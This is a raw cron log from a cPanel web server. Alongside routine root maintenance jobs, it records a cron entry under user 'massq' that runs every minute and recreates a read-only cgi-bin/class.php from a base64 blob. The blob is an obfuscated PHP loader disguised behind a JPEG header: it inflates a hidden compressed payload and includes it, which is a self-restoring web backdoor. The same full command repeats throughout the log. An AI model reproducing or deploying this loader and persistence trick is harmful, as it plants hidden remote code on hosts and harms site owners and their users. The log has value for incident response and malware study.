Sep  9 08:38:01 server CROND[31623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:38:01 server CROND[31624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:38:01 server CROND[31625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:39:01 server CROND[32011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:39:01 server CROND[32012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:39:01 server CROND[32013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:39:01 server CROND[32014]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 08:40:01 server CROND[32495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:40:01 server CROND[32499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:40:01 server CROND[32498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:40:01 server CROND[32497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:40:01 server CROND[32496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:40:01 server CROND[32500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:40:01 server CROND[32502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:40:01 server CROND[32503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:41:01 server CROND[890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:41:01 server CROND[891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:41:01 server CROND[893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:42:01 server CROND[1348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:42:01 server CROND[1352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:42:01 server CROND[1355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:42:01 server CROND[1356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:43:01 server CROND[1724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:43:01 server CROND[1725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:43:01 server CROND[1726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:44:01 server CROND[2132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:44:01 server CROND[2133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:44:01 server CROND[2134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:45:01 server CROND[2512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:45:01 server CROND[2514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:45:01 server CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:45:01 server CROND[2516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:45:01 server CROND[2517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:45:01 server CROND[2522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:45:01 server CROND[2523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:46:01 server CROND[3355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:46:01 server CROND[3356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:46:01 server CROND[3357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:47:01 server CROND[3821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:47:01 server CROND[3822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:47:01 server CROND[3823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:48:01 server CROND[4199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:48:01 server CROND[4201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:48:01 server CROND[4200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:49:01 server CROND[4568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:49:01 server CROND[4569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:49:01 server CROND[4570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
